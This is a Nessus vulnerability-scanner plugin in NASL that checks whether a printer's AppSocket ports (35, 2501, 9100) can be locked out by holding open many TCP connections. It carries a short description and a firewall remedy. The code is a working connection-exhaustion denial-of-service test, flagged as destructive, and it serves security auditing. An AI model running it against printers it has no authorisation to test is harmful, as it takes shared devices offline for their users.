home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / appsocket_DoS.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  71 lines

  1. # This script was written by Michel Arboi <arboi@alussinan.org>
  2. #
  3. # GPL
  4. #
  5.  
  6. if(description)
  7. {
  8.  script_id(11090);
  9.  script_version ("$Revision: 1.5 $");
  10.  name["english"] = "AppSocket DoS";
  11.  script_name(english:name["english"]);
  12.  
  13.  desc["english"] = "
  14. It seems that it is possible to lock out your printer from the
  15. network by opening a few connections and keeping them open.
  16.  
  17. ** Note that the AppSocket protocol is so crude that Nessus
  18. ** cannot check if it is really running behind this port.
  19.  
  20. Solution : Change your settings or firewall your printer
  21. Risk factor : Low";
  22.  
  23.  script_description(english:desc["english"]);
  24.  
  25.  summary["english"] = "Too many AppSocket connections";
  26.  script_summary(english:summary["english"]);
  27.  
  28.  script_category(ACT_DESTRUCTIVE_ATTACK);
  29.  
  30.  script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi");
  31.  family["english"] = "Denial of Service";
  32.  family["francais"] = "DΘni de service";
  33.  script_family(english:family["english"], francais:family["francais"]);
  34.  script_dependencie("find_service.nes");
  35.  script_require_ports(35, 2501, 9100);
  36.  exit(0);
  37. }
  38.  
  39. #
  40. function test_app_socket(port)
  41. {
  42.   #display("Testing port ", port, "\n");
  43.   if (! get_port_state(port)) return(0);
  44.  
  45.   soc = open_sock_tcp(port);
  46.   if (! soc) return(0);
  47.  
  48.   # Don't close...
  49.   s[0] = soc;
  50.  
  51.   for (i = 1; i < 16; i = i+1)
  52.   {
  53.     soc = open_sock_tcp(port);
  54.     if (! soc)
  55.     {
  56.       security_warning(port);
  57.       for (j = 0; j < i; j=j+1) close(s[j]);
  58.       return(1);
  59.     }
  60.     sleep(1);    # Make inetd (& others) happy!
  61.     s[i] = soc;
  62.   }
  63.   for (j = 0; j < i; j=j+1) close(s[j]);
  64.   return (0);
  65. }
  66.  
  67. test_app_socket(port: 35);
  68. test_app_socket(port: 2501);
  69. test_app_socket(port: 9100);
  70.  
  71.